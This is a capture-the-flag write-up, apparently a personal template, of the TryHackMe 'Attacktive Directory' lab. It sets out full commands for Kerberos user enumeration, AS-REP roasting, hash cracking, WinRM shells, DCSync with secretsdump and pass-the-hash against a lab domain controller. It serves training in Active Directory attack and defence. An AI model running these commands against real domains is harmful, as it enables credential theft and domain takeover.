TryHackMe Medium Active Directory Kerberos Windows

Attacktive
Directory

Full Active Directory exploitation path covering Kerberos enumeration, AS-REP Roasting, credential abuse via SMB, and domain compromise with secretsdump. A solid intro to AD attack chains in a guided environment.

TryHackMe

Platform

Medium

Difficulty

DD MMM YYYY

Completed

Windows / AD

OS / Category

// contents

// overview

Attack Chain

Nmap Scan → Kerbrute Enum → AS-REP Roast → Hash Crack → SMB Abuse → Evil-WinRM → secretsdump → Domain Admin

Tools Used

Tool Purpose
nmapPort scanning & service enumeration
enum4linuxSMB/NetBIOS enumeration
kerbruteKerberos user enumeration
GetNPUsers.py (Impacket)AS-REP Roasting
hashcatOffline hash cracking
smbclientSMB share access
evil-winrmRemote shell via WinRM
secretsdump.py (Impacket)Dumping domain hashes

// 01 · reconnaissance

01Nmap Scan

Starting with a full port scan to identify open services and understand what we're dealing with.

command

nmap -sC -sV -oA nmap/attacktive -T4 <TARGET_IP>
01-nmap
🖼

assets/01-nmap.png

output — ports of interest

53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap (Domain: spookysec.local) 445/tcp open microsoft-ds 3268/tcp open ldap 3389/tcp open ms-wbt-server

The presence of ports 88 (Kerberos), 389 (LDAP), and 445 (SMB) immediately confirms this is a Domain Controller. The domain name spookysec.local is leaked by the LDAP service — first thing to add to /etc/hosts.

note

Add the target IP and domain to /etc/hosts before proceeding:
<TARGET_IP> spookysec.local

// 02 · enumeration

02Enumerating the Domain Controller

Using enum4linux against ports 139/445 to gather NetBIOS and SMB information.

command

enum4linux -a spookysec.local
02-enum4linux
🖼

assets/02-enum4linux.png

Key findings: NetBIOS domain name THM-AD, confirming the target is the primary Domain Controller.

// 03 · user enumeration

03User Enumeration with Kerbrute

Kerberos allows pre-authentication enumeration — we can probe the KDC with usernames and determine which accounts exist based on the error codes returned. Kerbrute automates this using the userenum module.

command

./kerbrute userenum --dc spookysec.local -d spookysec.local userlist.txt
03-kerbrute
🖼

assets/03-kerbrute.png

valid users found

james@spookysec.local svc-admin@spookysec.local robin@spookysec.local darkstar@spookysec.local administrator@spookysec.local backup@spookysec.local paradox@spookysec.local

interesting accounts

Two accounts stand out immediately: svc-admin (service account — prime AS-REP Roast candidate) and backup (likely has elevated privileges for backup operations).

// 04 · exploitation

04AS-REP Roasting

AS-REP Roasting targets accounts with Kerberos pre-authentication disabled. When an account has this flag set, anyone can request an AS-REP for that user without knowing the password — the response includes a blob encrypted with the user's password hash, which we can crack offline.

command

python3 GetNPUsers.py spookysec.local/svc-admin -no-pass -dc-ip <TARGET_IP>
04-asreproast
🖼

assets/04-asreproast.png

hash obtained (Kerberos 5 AS-REP etype 23)

$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX...

// 05 · credential access

05Cracking the Hash

Saving the hash to a file and cracking it offline with hashcat. Mode 18200 is for Kerberos 5 AS-REP.

command

hashcat -a 0 -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
05-hashcat
🖼

assets/05-hashcat.png

credentials obtained

svc-admin : <PASSWORD>

// 06 · lateral movement

06SMB Enumeration & Credential Abuse

With valid credentials, enumerate SMB shares for sensitive data.

list shares

smbclient -L \\\\spookysec.local -U svc-admin
06-smbclient-shares
🖼

assets/06-smbclient.png

Describe what shares were accessible and what you found inside them.

access share

smbclient \\\\spookysec.local\\<SHARE_NAME> -U svc-admin
06-smbclient-files
🖼

assets/06-smbclient-files.png

// 07 · initial access

07Shell via Evil-WinRM

WinRM (port 5985) is open. With valid credentials for the backup account, we can get a shell using Evil-WinRM.

command

evil-winrm -i spookysec.local -u backup -p '<PASSWORD>'
07-evil-winrm
🖼

assets/07-evil-winrm.png

// 08 · privilege escalation

08Domain Compromise — secretsdump

The backup account has Replicating Directory Changes privileges — this is the permission that enables DCSync attacks. Using secretsdump, we replicate domain credentials as if we were a Domain Controller.

command

python3 secretsdump.py spookysec.local/backup:<PASSWORD>@<TARGET_IP>
08-secretsdump
🖼

assets/08-secretsdump.png

administrator hash (NTLM)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::

With the Administrator NTLM hash, we can pass-the-hash directly with Evil-WinRM without needing to crack it.

pass-the-hash

evil-winrm -i spookysec.local -u Administrator -H <NTLM_HASH>
09-admin-shell
🖼

assets/09-root.png

// 09 · flags

09Flags

🚩

svc-admin — user flag

TryHackMe{XXXXXXXXXXXXXXXXXXXXXXXX}

🚩

backup — flag

TryHackMe{XXXXXXXXXXXXXXXXXXXXXXXX}

👑

Administrator — root flag

TryHackMe{XXXXXXXXXXXXXXXXXXXXXXXX}

// 10 · takeaways

10Lessons Learned

key takeaway 1

Kerberos pre-authentication is disabled by default on some legacy AD configurations. In a real engagement, always run GetNPUsers against a full user list — not just service accounts.

key takeaway 2

The backup account having Replicating Directory Changes is a classic misconfiguration. In real environments, look for this in BloodHound under "Find Principals with DCSync Rights".

what I'd do differently in a real engagement

Describe how this technique applies (or differs) in a real red team scenario. What detection would this trigger? What would you do to stay stealthy?